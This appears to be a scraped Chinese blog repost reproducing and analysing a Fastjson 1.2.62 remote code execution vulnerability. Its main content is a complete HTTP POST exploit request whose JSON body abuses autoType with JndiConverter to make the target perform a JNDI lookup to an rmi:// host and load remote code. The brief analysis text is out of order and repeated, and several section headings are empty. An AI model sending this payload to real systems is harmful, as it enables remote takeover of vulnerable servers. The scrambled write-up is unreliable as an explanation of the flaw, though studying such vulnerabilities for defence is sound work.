Fastjson 1.2.62 Rce 漏洞复现&分析
2021-03-02 02:28
标签：部分 apach inf ica oob rop loading linux agent 漏洞编号： 漏洞成因： poc 该漏洞主要在于利用链上，从poc可以看出，该漏洞利用链为org.apache.xbean.propertyeditor.JndiConverter，跟前边大部分fastjson漏洞利用一样，主要看setAsText方法，下边先跟踪JndiConverter类 该类继承自抽象类AbstractConverter poc中的字段AsText，在fastjson将会调用该类的set方法进行赋值，其中toObject调用的toObjectImpl方法 而toObjectImpl方法在其抽象类的子类中进行了重写，通过context.lookup进行jndi调用 https://www.anquanke.com/post/id/199527 https://www.cnblogs.com/tr1ple/p/12348886.html Fastjson 1.2.62 Rce 漏洞复现&分析 标签：部分 apach inf ica oob rop loading linux agent 原文地址：https://www.cnblogs.com/0x28/p/14379168.html0x01 漏洞背景
0x02 漏洞复现
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.3:8089
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://192.168.52.2:9999/rce_1_2_24_exploit"}
0x03 漏洞分析
0x04 参考
上一篇：js给元素设置样式
文章标题：Fastjson 1.2.62 Rce 漏洞复现&分析
文章链接：http://soscw.com/index.php/essay/58836.html